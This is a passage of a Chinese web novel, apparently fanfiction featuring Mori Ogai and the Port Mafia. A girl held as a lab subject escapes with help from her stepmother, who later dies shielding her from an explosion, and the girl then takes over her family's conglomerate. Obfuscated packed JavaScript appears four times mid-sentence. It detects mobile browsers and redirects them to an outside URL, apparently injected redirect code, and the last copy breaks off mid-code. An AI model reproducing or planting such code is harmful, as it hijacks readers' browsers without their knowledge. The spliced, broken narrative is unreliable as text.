或许是她这次竟然真的冲到了最后一道大门,和前面的小打小闹不同,震惊的守卫抓到后她后毫不留情的打了她一顿,并派人去通知我渣爹。 没当场打死的原因不过是忌惮她是我爹前小老婆的身份。 但也忌惮不了多久,等那些人通报我爹后,以我爹那个德性,最迟今晚肯定会让人过来把她打死。 她也知道她活不了多久,所以她向我招了招手,然后递给了我一张皱皱巴巴的纸。 我展开一看,是一张实验室地形图,上面还歪七扭八的标注着守卫的分布。 我猛地抬头看她,只见她眼睛亮晶晶的,明明疼的嘴唇都在抖却还得意的仰头,“哈哈!这都被老娘画出来了!那些傻子单知道我是在跑,没想到吧!老娘是在画地图!” 皱巴巴的地图尚带着她的体温,我捏着地图,心里升起了一股前所未有的感觉,不知道怎么描述,我以前也没体验过。 许多词汇在我的脑中飘荡,这些词语大多来自于她的教学,可它们太多了,多到我甚至不知道说哪一个,只觉得…… 原来世界上真有大傻子。 她问我,“你知道该怎么做了吗?” 我看了看表,又看了看她。时间很急,她又重伤难愈,我当然知道该怎么做。 我要趁着守卫去通知我渣爹的空档,拿着地图混出去。 但她行动不便,我不可能带上她,即便地图是她拿到的。 而我个子小,一个人的话目标不大,这样成功率前所未有的高。 只要跨出这个门,我就是自由的。 “快走啊!愣啥神呢?”女人催促我。 你看,她自己都让我走了。 我以前从没有试图逃过,但这并不代表我真的情愿活在这个不见天日的地方,只是我深知没有逃出去的希望。 而现在,希望来了。 只要我走,我能摆脱一切,重获新生。 那么代价呢? 我默默看着眼前的女人。 只不过是要舍弃微不足道的良心。 再没有比这更划算的交易了。 看到我握紧了地图,她笑了。 “乖!”她说,“我终于能功成身退了。” 她一边笑,一边撑着地想要站起来,可她伤的太重,就算站了起来腿也在微微颤抖。 照顾了她太久,我下意识上去扶她,可她挥开了我的手,一瘸一拐往门口走,“看我最后来一个华丽的退场!” 她走了两步,见我没跟上,回头冲我交代道, “等会儿我就像往常一样往外跑,那些守卫肯定也会像往常一样来追我,你没跑过他们不会分神管你,你就趁这个时候偷偷溜出去,听到了吗?” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393967|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静看她,正好,她自愿以身作饵,我的成功率能再加一成。 她已经走到了门口,她站都站不稳,只能扶着门框微微吸气,随后,她冲我露出了一个极灿烂的笑容, “正好,我还能再冲最后一次!” 她伸出手握住我的手腕,将我一步步拉到门边,深深的看了我一眼,然后转身冲了出去。 在她离开的前一刻,她嘴里仿佛哼着什么曲调,很短,很轻,只有一句。 我侧耳倾听,阴暗潮湿充满了血腥气的甬道里飘来了轻柔的声音,她对我说—— 妹妹你大胆的往前走,莫回头。 我那个时候年纪小,还不如现在铁石心肠。 即便觉得她怕不是个宇宙超级无敌大圣母,即使觉得她以卵击石螳臂当车的行为愚蠢至极…… 也依旧抑制不住在看她决绝的背影时,心里猛然升起的那股震撼的感情。 我知道她要救我,她是这么说也是这么行动的,但她甚至真的打算付出生命了…… 我无法理解。 为什么? 我曾发自肺腑地问她,“值得吗?每个人的命都珍贵到只有一次,你的命难道是什么很廉价的东西吗?” 当时她的表情有些奇怪,想说什么又说不出口的样子,“一次?啊……没错在这里是一次来着,哎呀怎么给你说,但是我的命在这里没你们那么值钱的。” 什么值钱不值钱? 究竟是谁以前上课的时候,千方百计给我灌输人命不分高低贵贱的思想品德? 我刚想反问她,她就大义凛然的一挥手,“别管!好冲爱冲!我是超级爱冲王!” “还有你问我值不值得?”她叉腰站在那,“你说能让我的孩子逃离被当作小白鼠的命运值得吗?” “可太值得了!” 这是我第一次失语,我所受到的教育从不包含舍己为人,以至于我在直面这种从未接触过的“品德”之时,某种强烈的情感在一瞬间几乎要压过我的理性。 我本不应该再说话,我应任由她冲出去探路,可我的嘴却下意识的张开,带着我自己都无法理解的情感反问她, “你的孩子?我生母早逝,我是你哪门子的孩子?” 她又笑着说:“我记得我好像是你第三十八个小妈?” 在看到她冲出门后,我心里的某种强烈的情感达到了顶峰,不断驱使我去做一些事,一些没有任何好处,甚至损害自身利益的事。 我能狼心狗肺的抛弃她,可我要是从头到尾狼心狗肺倒也好了。 问题是我那一点未泯的良心作祟,让我无法忘记看她冲出门时猛然升起的强烈感情。 那种感情叫做难过。 它让我觉得,我好像失去了一个很重要的人。 于是,我竟然扑过去拉住了她。 我的身体快于我的大脑。 但我的身体拉不住那人义无反顾的身体,她的衣角从我手中滑出,下一秒,走廊里传来了嘈杂的喊杀声。 从此我欠下了一个天大的人情,一个我不知道怎么才能还的人情。 20.小妈和我 2 但有时候命运就是这么的爱开玩笑,给了你一点希望,又会在下一秒把它收走,当你绝望的时候,却会再给出一点希望。 把人都吊成翘嘴了。 其实我并非是那一天逃出实验室的,她也并非死于那一天。 我的人情也不是不能还。 那天晚上,我是在实验室深处最后一间屋子再次见到她的。 她还活着,但只剩最后一口气。 地图是真的,我也确实逃出了实验室最后一道大门。 可最后一道大门的外面,是高耸的围墙。 通电铁丝网围了一圈,四角有岗哨,每隔十米都有一队持枪的巡逻队。 那个女人只冲出去过一次,那次偏偏还是晚上,她看不见岗哨也看不见围墙。 她只闻到了外面的风,清清淡淡的充满了青草与泥土的气息,全然不似实验室中那股交杂着腥气与消毒水的味道。 她以为那就是自由。 我在原地站了一秒,在被发现之前火速关上了那道大门,然后以最快的速度冲回去,却只来得及看到她被拖走的背影。 好的,损失最大化。 我在房间里来来回回的走,不停的给自己做心理建设,纠结焦虑的头发以肉眼可见的速度往下掉。 最后,我恨恨的锤了一下墙,深吸了两口气,仰着头大踏步的走出去,“来人呐!带我去见我父亲,你们大小姐我,痊愈了!” 在被研究员带去熟悉的实验室见我那渣爹时,我一边面无表情地走,一边恶狠狠地在心里骂,“起来!那个女人你给我起来!乐山大佛换我来坐了!” 我是疯了吗?我疯了吧!我就知道我和这个绝世圣母呆久了会对我不好! 就算悄悄跑回来看到她马上就要被处决,也不应该跑出来大喊这种蠢话! 明明一声不吭依然能安安稳稳的有吃有喝,我干什么跳出来自曝,以至于再次回到那种过了今天没明天的小白鼠生活啊! 圣母原来是会通过空气传染的吗! 我一边骂一边走,一整个无能狂怒,但谁让这是把那个女人捞出来的唯一办法。 她让我莫回头,可我没法不回头。 实验室里灯明灭不定,一个身材高大的中年男人背着手打量我,持枪的护卫站在他身后,面色不善地盯着我。 智障康复,多稀奇,让我这渣爹百忙之中抽空都要围观一下。 我满身冷汗,强装镇定地和他打招呼,“父亲大人。” 他盯着我看了一会,突然笑了,“恭喜康复,我的女儿,森鸥外没治好的病被她治好了,看来那女人也不是毫无作用。” 这话一出我冷汗冒的更厉害了,他摆明了早就知道我的病情有猫腻,但幸好,我好歹是他的第一个孩子,更是终于自愿“康复”,他短时间内不会要那个女人的命。 因为他可能更想要我的命。 我这么一个百年难得一遇的案例,多值得再做他一百个实验啊! 就为了能让我心甘情愿地随他摆布,他也不会拒绝我的请求。 她最起码不会死于今天。 我说我要再见她一面,我那渣爹同意了。 在进入那间关押她的屋子之前,我又说我要单独和她说话,押送我的两个人对视一眼还是让我一个人进去了。 看到我进来,女人本来快要失去光泽的眼睛瞬间圆睁,“啊啊”着想要说些什么,但太急切以至于呛到了。 我上去拍了拍她的背,往她嘴里塞了个药丸,实验室最新出品——十全大补丸。 刚从我爹那薅来的,热乎的。 那帮奇行种科学家关于异能的事一个也弄不出来,强身健体,延长寿命的副产品倒弄出来不少。 真是黑科技,一颗下去没多久她呼吸就平稳了,市面上最好的急救药都没它见效快。 但治标不治本,她伤的太重,已经活不了多久了,一年?两年?也可能根本到不了两年。 她顺过气来以后立马拽住我的手,“被抓到了没逃出去?” 我拿出纱布默默给她包扎,然后扬起了一个笑,“怎么会,有你帮我呢,我当然逃出去了。” 她呆了一下,“那你现在……” 我依旧笑,信口胡诌,“我逃出去以后找了森先生,他现在不得了啦,当大官啦,他和我渣爹交涉了一下,我渣爹就答应放咱们走啦,我现在是来接你的。” 我不可能逃出去的,没人能逃出去,可她没几天好活的了,又何必让她难受呢。 她长舒了一口气,“原来是这样,吓死我了。” 她还真信了。 我本来还做好了准备等她问“森鸥外一个地下黑医咋当的大官”这种问题呢,现在也用不上了,她还真是对森鸥外有一种莫名其妙的信任。 大补丸的副作用是昏睡,我亲眼看着她熟睡后才退出那个房间。 或许是我先前的表现勾起了我爹的兴趣,也或许是“第一个孩子”的名头终究在我爹心里不一样,我这次“康复”后虽然不可避免的依旧是小白鼠的待遇,但却多了不少权限。 比如这个女人的事我可以全权负责,又比如我在一定范围内能调配实验室的资源。 当然这些都是有代价的。 康复后的我,是我那极度渴望异能的父亲目前最重视的实验品。 其实还有个好处就是我终于可以短暂地走出实验室,我那渣爹很在乎我这个半成品,所以把我走哪带哪。 在这个过程中我自然见到了我那三十多个弟弟妹妹,会走的不会走的摊了一地,看到我爹来争先恐后的过来喊:“爸爸!爸爸!” 我都要密恐了,但我爹很享受,给他们介绍我,让他们都听我的话。 呵,听我的话积极配合他做各种实验吗? 实验品管理实验品,亏他想的出来。 那些小屁孩一个个眼神里透着清澈的愚蠢,好像很艳羡我现在的待遇。 毕竟有我挡在前面,就连做小白鼠他们都不是第一顺位。 笑死,这个福气给他们要不…… 嗯,他们可能还真挺想要。 我小时候就有过继承人的名头,即使被雪藏了几年,在不明真相的外人眼里,我也依旧是我首富爹嫡嫡道道的继承人。 我那些弟弟妹妹看不到我身上的伤口,只看得到我那表面的荣光。 我最开始是真的很讨厌他们。 在几轮实验后,因为顺从和配合,我得到了能与外界交流的权利。 而在收到了第一份来自公司高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397696|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层的示好后,我知道,我的机会来了。 当天晚上,我发出了一份密信。 而在我刚按下发送键的时候,照顾那个女人的侍从突然跑来告诉我,那个女人自杀未遂。 我急匆匆去看她,她正躺在床上嚎,看到我来,她问我有没有听说过一本叫《完全自鲨手册》的名著,有的话能不能借她看看,她挺急的。 她说我都逃出去了她也就功成身退了,现在疼的全身抽抽,她也不想待在这个世界了。 我松了口气,我还以为她知道了没逃出去的事,就因此丧失希望寻死觅活。 现在看来只是太疼了。 那好办,我一边示意侍从给她喂大补丸,一边说话转移她的注意力,“想不想吃点甜品,喝点奶茶?给你放个帅哥美女的电视剧看?实在喜欢哪个明星把他请过来陪你也不是做不到……” 她嚎的声音渐渐小了,我一低头就看见她把被子拉高了一点,露着半张脸有些扭捏的看着我,“真的吗?那我可以指定吗?” 我点点头,“你想见谁,我让人联系他们经纪人。” 她眼睛亮了一下,然后小声开口,“双黑!” 我顿了一下,这是哪个十八线糊咖?这年头还有这么奇怪的名字吗? 她满脸兴奋,脸色红通通的,一点也不像在闹自鲨的人,“凭咱俩和森先生的交情,请他的手下来看看不过分吧?” 我了然,哦,原来是森先生的手下,地下黑医的手下,不会也是医生吧? 那是挺过分的,人家是白衣天使,又不是男模。 但我也没拒绝她,过分就过分了,看一眼又不会少块肉,我点点头,“行,但是我没听说过森先生手下还有叫这个名字的,等找个时间问问他好了。” 听了这话她突然脸色一变,“啊啊啊不对不对,这个时间点还没有呢,啊啊啊我怎么能犯这样的错误……” 然后她抬头吞吞吐吐道:“啊呀,双……双黑嘛,就是以前森先生给我讲过他小时候邻居家表叔的侄子的弟弟的媳妇养的小黑猫小黑狗,都是黑的嘛呵呵呵,我刚刚痛得神经错乱了记成是他的手下了,其实我也不是很想见啦呵呵呵……我先睡了。” 我:“……” 好吧,说谎还是这么明显,说的话也还是这么让人摸不着头脑,不过也没什么好深究的,总之她不会害我。 她本来在装睡,可是喂给她的大补丸效果显著,没一会儿她就真的睡得满面红光了。 我让侍从出去,等门关上以后,我又关了灯,随后靠在她床头,默默叹了口气。 疼啊,我也疼,精密的仪器在身体上划出细微的刀口,全程没有麻药并且必须保持清醒。 若是谁能看到实验的全程监控录像,说不定都会觉得这是误入了什么血腥b级片。 疼,太疼了。 我摩挲了一下手臂,狠狠捏了下最新的伤口,血液从绷带边缘渗出,片刻后就浸透了纱布。 疼了好,越疼,我越能知道我想要的是什么。 微弱的铃声响起,我拿出手机,是一封短信。 我点开,屏幕上猛地跳出一个咧着大嘴的卡通形象,扁耳圆头,发着炫目的光。 我笑了。 小老鼠,你可要早点混进来。 21.爆炸和我 “卧槽!死鼠之屋!” 我一惊,转头对上女人震惊的眼神,“你没睡?” 她指着我的屏幕,“这玩意太闪把我闪醒了。” 我果断按灭屏幕,又掏出一颗药丸递给她,示意她吃下去。 “等会吃,”她推开我的手,目光灼灼,“死鼠之屋!坏人!大大滴坏!你咋和他们混到一块儿了?你不要命啦!” 我顿了一下,眯眼看她,“要不你先说说你怎么知道这是死鼠之屋?” 她噎了一下,眼神左右飘,干笑道:“嗐,这不是,就是那什么,早知道今天天气真好,我有什么高速运转的机器进入横滨,记住我给出的原理……” 我:“……” 不愿说就不说,整什么花活啊。 她自己不愿说就算了,还锲而不舍的问我到底和死鼠之屋有什么勾当。 笑死,这我能告诉她? 她坚决要问,我坚决不说。 她还在那苦口婆心的劝我,“你既然都逃出来了就不要和这种危险的人有牵扯,要不然我是不会瞑目的,到时候就算我死了,埋土里,我都要掀开棺材板诈尸啊!” 哦,她还以为我现在逃出来了呢,那就更不能说了。 我面不改色的忽悠她,“没牵扯,收到个诈骗短信而已。” 她大怒,“你不要骗我!这明明就是死鼠之屋的logo!” 我冷笑,“难道对面给我发个兵马俑,他就是秦始皇了吗?” 她指着我一时词穷,“你你你!这是两码事!还有我教你历史不是让你这么用的!” 这事也争论不出个所以然,我干脆站起身,“你好好休息,我过几天再来看你。” 她一怔,“你去哪?” 我边往外走边随口道:“出去捡垃圾吃,要不然你一个残废我一个智障等着饿死吗?” 她体弱无力根本追不上我,只能在我身后气急败坏道:“饿死也不能和那些人玩!你是不是被森先生撺掇的想要回去弑……争权夺位?你不要去!你一个未成年迟早被他们玩死!” 我:“……” 我那嘴淬了毒一样的第三十八任小妈。 争权夺位?多难听,我不过是为自己争条命,顺便拿点好处…… 好吧我就是争权夺位。 我越疼,我越知道我想要争权夺位。 这被逼出来的野心在我胸腔里怦怦跳动,在见我那血缘上的生父时会兴奋到微微战栗。 我想,森先生,看来我真要如你所愿了。 这天晚上,我发出了第二封密信。 后来四年多我一直和死鼠之屋保持联系。 其实从第二年开始对方就不停催促我发实验室的重点布局和潜入途径,我就当自己瞎了,已阅不回。 而在我成年后,就连我暗地发展出的亲信都开始旁敲侧击问我什么时候把我那日渐疯狂的渣爹拉下马,我就当自己是聋子,听不见听不见。 他们都在问我究竟在等什么。 等什么? 我站在女人的床前,四年多了,病痛折磨的她快没有人样,大补丹在这几年里不断升级,原先我还以为她活不到两年,没想到一晃四年多过去了,我都成年了,她还有口气。 实验室里科技进展的过于迅速,除了异能,没有什么他们弄不出来的。 而在我渣爹疯狂到近乎精神错乱的时候,明面上冷静理智的继承人的身份给我带来了巨大的好处。 如今我权利颇大,就连女人的床前也被我换上实验室最新开发的监测仪,那监测仪最智能的就是危重病人生命倒计时,甚至可以精确到几分几秒。 我看着那倒计时不断跳动。 昏睡多日的那女人突然醒了,看到我和周围人的表情似乎明白了什么,她叹了口气,“行吧,陪了你这么多年总算没让你误入歧途,告诉我我还有多久,我撑得住。” 我没好意思告诉她,我其实已经在歧途上策马奔腾多年了。 我只是看着监视器轻声道:“十……” 她:“十个月吗?那还行,我还能……” 我:“九。” 她:“?不是我感觉我还能活,我还能再抢救一下!” 我:“八七六……三二一。” 读秒结束,女人严肃的右手搭左手给自己把了个脉,“你那是什么庸医设备啊!我还是个活人呢!” 我趁她不注意,不动声色地发出了最后一封邮件。 随后顺手把手机塞回口袋,抱臂轻笑:“我倒数的又不是最后一天的时间,哦对了你其实还有24小时能活来着。” 她:“!你活阎王吗!有你这么吓病人的吗!” 我挑眉看她,“呦~你还能被吓到啊,到底是谁胆大包天,成天让我派来照顾的人去港口mafia门口蹲点拍照啊?” 我伸手拉开她床头柜,随便瞄了一眼,“照片还收藏的这么好,拍的还都是男人,让我看看究竟是谁勾的你觉都不睡。” 我的手猛地被按住,女人的表情心虚的要命,“哎呀也没谁,就是两个干部,小年轻,我们女人就是要看这种男高才能活得下去。” 照片被她火急火燎的拿走藏起来,我一眼都没看到。 我若有所思,“这么喜欢?那我把他们买……请过来陪你?” 女人眼睛亮了一下,“你说真的吗?” 我勾了下唇,“当然。” 当然是骗她的。 我一个有点权力的实验品,哪能绕过我那个爹,在24小时之内直接让港口□□的人过来呢? 那俩小年轻我知道,森先生手下的干部,和我同岁,人家已经是整个横滨谈之色变的人物,没见过也听说过。 真是同人不同命啊。 监测仪上预计生存时间年月日通通归零,她的生命真正开始了24小时死亡倒计时。 我骗她,也只骗这24小时了,最后这一天,再让她开心一点,也没什么不好。 她的精神状态竟然前所未有的好,好到让人心慌。 我随意地坐在她床头,抬手摸了摸她干枯的头发,笑了一下,“行了,我再陪你待一天。” 许多人都问过我究竟在等什么? 等这一天罢了。 骗了她这么久,总不能前功尽弃吧,她最好一辈子都不知道我暗地里的勾当。 我总不能让她知道,她曾经教过的价值观,都教到了狗肚子里。 我记得她一直教导我要成为一个善良正直的人,在她活着的时候,我也不是很想让她失望。 然而命运总是在不停的开玩笑。 俄罗斯人背弃了他的诺言,我发给他布局图是让他去干我爹,他倒好,买一送一,不仅想干死我爹,还想干死我。 成吨的炸药被他安置在了实验室各处,实验室在我毫无准备的情况下,以我完全预料不到的方式坍塌得渣都不剩。 那一日,我从瓦砾堆里爬出来,灰头土脸的坐在了断壁残垣间。 那时候正好是夜晚,我脚下躺着一具不成人形的中年男尸,怀里抱着一个马上要变成女尸的女人。 我这四年殚精竭虑小心谋划,为的就是今日,我上位的最大路障——我那渣爹,如今毫无声息的倒在我的脚下。 我想笑。 可怀里的女人的体温迅速下降,我尝试了一下,怎么样也笑不出来了。 俄罗斯人够狠,这狠劲超过了我的预料,差点断送了我的性命。 爆炸发生时我正坐在女人身边陪着她,而这个房间正上方,被他放置了能炸死十头牛的炸药。 为了保证我死无全尸他真是煞费苦心。 说真的,我都开始期待他看见我还活着时的表情了,说不定能让他半夜睡着睡着都一骨碌爬起来疯狂思考,“不是,她怎么还活着啊?” 谁能想到他往我这儿砸了那么多炸药我都还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401473|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着,我要么有异能,要么就是外星人。 毕竟那炸弹威力巨大,你看偌大的场地,如今就剩下两个……不…… 我掂了一下女人那半截身子,严谨一点来说,是1.5个人。 但可能要让他失望了,我不是外星人,也根本没有异能。 我能活下来只有一个原因,我怀里的人用她那回光返照的精气神,救了我最后一次。 她在一声惊天巨响时,在大地摇晃瓦砾倾颓时,将我抱在怀里,撑在我身体上方,挡住了最强烈的冲击波。 我抱着女人那半截身子,还是笑了一下,短促的气声在废墟上回荡。 我本以为我的人情能还完的。 费奥多尔不会想到,我能活下来,靠的从来就不是什么见鬼的异能。 她其实挺怕疼的,下半个身子都没了,这该是怎样的酷刑。 我兜里揣着的大补丸好险没碎,我第一时间往她嘴里塞了几颗。 我挡着她的视线不让她看自己的下半身,问她:“疼吗?” 这话一出我就有些懊恼,怎么可能不疼呢? 但她竟然这种时候还有心情和我开玩笑。 她轻轻握住我的手,因为大量失血而苍白的脸上浮现出一抹安慰的笑,她眨眨眼:“屁股不疼,屁股在树上。” 怎么可能不疼?怎么可能不疼? 我想我的脸色一定很难看,在某一瞬间我甚至连思考的能力都忘却了,只是继续抖着手,机械性地向她嘴里喂止疼药。 而极高效的镇痛效果,和昏睡的副作用,让喂了止疼药的人在好梦中停止了呼吸。 我安静的抱着她,直到怀里的人失去了温度。 然后我联系了森先生。 夜风微凉,四处一片寂静,我默默的抬头看天,明月高悬,不知道还有多久才能看到旭日东升。 我身旁一道阴影笼罩而下,森先生来得够快。 我又往他身后瞧了瞧,好多人啊,都是他的手下,包括那个女人心心念念的两个小干部。 嗯,怎么说,我也不算骗人,最起码他们真的来了,就是来的不凑巧,人刚没一会儿。 他们其实来得挺快的,15层的实验大楼轰然倒塌,即使远在郊区,也足以惊动很多人了。 要不是我爬出来后紧急联系没被埋的手下把这里包围起来,森先生的人也阻挡了不少打探情况的人,现在这里应该可以原地开万人趴体了。 我面前的森先生看了一眼我身旁的那个死爹和坍塌的实验室,沉默了片刻后突然笑了。 他居高临下地看着我,黑色的衣摆在风中猎猎作响,“我想知道,我教你的东西你还记得多少?” 我仰头看他,也慢慢笑了,我伸手点了点额头,“全在这里,一点不敢忘。” 他挑了挑眉,看起来很满意的样子。 但他余光扫到了我怀里那个凉透的人,脸色慢慢沉了下来,良久,他又问我: “那她教你的东西呢?” 我没说话。 他走上前,弯下腰看我,“全忘了吧,一点不要留。” 我抬眼看他,他语气轻柔,但这话说的强硬,我明白他的意思,也懂得他的暗示。 我和他走上了同一条路,而这条路,美德是累赘。 若我偏要坚持,那我怀里的人就是我的下场。 我放下了女人变的冷硬的身体,撑着地慢慢站起来, 我抬手擦了擦脸上的灰,然后冲他再次笑了出来,“多虑了,森先生,要不然您认为我为什么叫了您来?” 这是我第一次对他用敬称。 森先生盯着我,片刻后突然笑了,他姿态优雅地向我伸出手,好像我们现在身处的不是废墟现场而是高级宴会厅, “欢迎你加入我们的世界,我现在是否应该称呼您——继承人女士?” 我轻轻握住他的指尖,也笑了,“合作愉快,森男士。” 22.弟弟妹妹和我 随后我死爹的花边新闻传得大街小巷,而我借用森鸥外的武力支持,以迅雷不及掩耳之势迅速接管家族,然后和森鸥外签订了三年的合约,给他让了不少利。 这段时间和我接触最多的就是那俩干部,主要是我点名要的,毕竟我也想看看他们到底有什么魔力能让那个女人心心念念的。 但后来一忙起来,再加上我确实有点脸盲,除了知道他们很牛很强,吓得家族里不服我的老登屁滚尿流外,我确实也没怎么记住他们的长相。 很长一段时间,我都靠着这俩人的武力,来镇压老宅那些看我年轻还是女性就想翻天的封建男老登。 虽然和他们待的时间不算短,但我们的关系也不算近,单纯的雇佣与被雇佣,主要我真的太忙了,他们也很忙,见次面能说十句话都了不得。 最重要的是我很忌惮他们。 我为了在家族内争权不得不和港口mafia进行利益互换,可我明白森鸥外的野心。 若非我家族内部盘根错节外人难以染指,他不得不选择扶持关系相对来说更亲近的我来达到他插手其中的目的,他恐怕在废墟处见到我的第一面就会杀了我,然后趁着总裁、继承人接连死亡的动荡,彻底吞并整个财团。 比起一个独立思考的人,他更想要一个傀儡。 他派人帮我,不是帮我自立,而是让我依赖。 说真的,但凡他换个人来支持,他都能达到他的目的,毕竟我家族里那些人真的很拉。 若我死在爆炸中,就凭家族里那些酒囊饭袋,祖宗们八辈子打下的基业能给他们在一年内败光,这都算时间长的了。 到头来昔日赫赫的家族不过就沦为了旁人上位的阶石,一切归于尘土,能在胜利者回忆往昔时被提及一二都算是幸运了。 更大的可能则是彻底的湮灭在世界上,连一丝痕迹都不会留下,就像从不存在一样。 然而我这么一个雌鹰一样的女人从废墟里爬出来了。 继承人我本人根本不可能让港口mafia能和那些老登合作,也根本不会和港口□□派来的人有任何超出预期的接触。 我无时无刻不在催眠自己把这两个年轻的mafia干部当工具,不考虑他们能思考的可能性。 要和老宅那些人对抗了,那么在我眼里高的那个就是步枪,矮的那个就是手枪。 但我更愿将他们称之为全自动恐吓机。 我和那些老登对峙最焦灼的时候,俩魔丸往我身后一站,好好的老登吓得腿抖得不像样子,不知道的还以为他俩是古希腊掌管抖腿的神,谁看谁腿软。 森先生看插不进手也就算了,毕竟我掌权总比其他人强,最起码我给他开出的合作条件真的很优惠。 直至今日,森先生都是我最大的合作伙伴之一,当然,是商业上的,当初我站稳脚跟后就把他的人打发走了,如今我单纯和他做亿点小生意。 我一个生意人可不兴黑设会那一套。 他多少次都撺掇我一起做一些刑得不得了的事,我都严辞拒绝他,逼急了还威胁要举报他,搞得他不止一次冷笑着对我说,出去别说是他教的我。 笑死,我比他更不想让别人知道是他教的我。 人生导师是森鸥外,世界上还有比这更完蛋的事吗? 当然,也不是那么的完蛋,毕竟教我的可不止他一个。 午夜梦回时那个女人总会不期然出现在我的眼前。 森先生让我全忘了,一点不要留。 怎么忘? 我是一拳把自己打失忆,还是直接前额叶切除把情感认知屏蔽? 我又不是反社会精神病,谁能告诉我怎么忘? 但我忘又忘不彻底,记又记不清晰。 我和她所有的个人物品都随着实验室的爆炸而消逝。 我也曾派人在狼藉的老宅里寻找过她残存的痕迹,几百人把老宅翻了个遍,也寻不出半点有用的东西。 我那渣爹够狠,大概在把她扔到实验室时就派人销毁过她的各种痕迹,以至于我现在甚至找不出一张她的相片。 记忆里的她正不可控的褪色,若干年后,这世上又有谁能证明她曾来过? 我沉默地看着下属送来的薄薄一张调查报告,安静的想, 她的遗物不多,我算一个。 如果我要忘了,那就真的什么都没了。 我不知道为什么会在这个时候想起这件尘封的往事,大概是因为我快被二大爷掐死了,所以脑子就开始全自动回马灯,力争让我在最短的时间回忆完整个人生的重要时刻,以便噶的没那么狰狞。 谢谢你,我的脑子,你可真是个好脑子。 至于这件事和我要护着我那些弟弟妹妹有什么关系…… 是因为多年后我的属下又给我递交了一份秘密调查报告,上面显示她曾在老宅生育过一个孩子。 是的,她有一个孩子,三十二个私生子有她一份。 那天我拿着报告在办公室里呆坐良久,最后,我只有一个想法—— 她嘴够紧的啊。 四年啊!她一个字都没给我透露啊! 现在人火化了,骨灰遵从她的遗愿撒海里了,没有任何手段可以比对DNA了,你告诉我她还有个孩子。 三十二个私生子,因为我渣爹的历史遗留问题各个生母都不是很详。 我哪知道她的孩子是老二老四还是大八、大十九还是小二十三、小三十一啊! 但是不管是谁,我那无法偿还的人情,也总算有些许落脚之地了。 我当时曾暗自发誓,我要把那个孩子找出来,像她教养我一样好好教养她/他,也算报了她这天大的恩情。 毕竟……这个孩子,也是她为数不多的遗物之一。 这样的话,世界上就又多了一个人会记得她。 这是我软肋由来的原因,也是我为数不多的良心。 有良心之后,整个人精神状态都变差了。 我当时暗自发誓的时候也没想到这事儿竟然如此复杂。 我本以为就简简单单养一孩子,我有钱我甚至能把横滨市长搞来养养,区区一人类幼崽,怎么可能养不好? 但我这丧心病狂的二大爷,在我那渣爹死了以后,为了继承权直接捆了那三十二个孩子打算挟天子以令诸侯。 我都不知道他短时间内是怎么把三十多个人找齐的,真是个变态的高效率收集癖。 本来他有十足的胜算,毕竟人家挟一个天子就能分天下,而他有三十二个天子,他觉得自己厉害的可怕。 然而我爹的第一顺位继承人,区区不才在下我,从废墟里站起来了。 家族立马没他位置了,集团立马没他股份了,老婆立马跟跑路了,他立马黑化了。 我丧心病狂的二大爷利用他实验室里那些丧心病狂的科技,在三十二个人身上植入了某种能自爆的丧心病狂芯片。 虽然他的初衷是为了能及时获取他们的身体数据,以便更好地开展实验。 毕竟这老登虽然对谁都能下手,但他依旧信以前那个还有点良心的专家的话,觉得最佳的实验品还得是血脉亲人。 不过他不像我那六亲不认的爹,这老登对自己的孩子倒还有点血脉亲情,不至于抓他们试药,他有点手段全使到我爹这一脉了。 我当时身上也有一个,是我那渣爹安的,但我在实验室爆炸当天就联系森先生给我取出来了。 而这三十二个人的芯片虽然也能取,但遥控装置却在我二大爷手上,一打草惊蛇可就要吃三十二个席了。 我二大爷还在我接手家族后,就利用这件事转而钳制我,若我对他动手,他就对那三十二个人动手,要灭我这一脉满门。 说真的,要不是那个女人的一点血脉混在了这里面,我其实挺乐见其成的,省得我自己动手把自己变成独生女了不是吗? 但现在这对我来说倒真是个棘手的麻烦了。 那个女人骨灰都被我扬了,遵从她的遗愿让她拥抱大自然,所以即使我能拿到那些私生子的数据,我也无法确定这是我要找的那个弟弟/妹妹。 火化当天刮了大风,大部分的她在拥抱大自然前先拥抱了我一脸。 我好后悔,我当时就不应该像个二臂一样热血上头随意发誓,导致我一豪门总裁爆改保姆。 但我更后悔撒骨灰那天我不仅没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 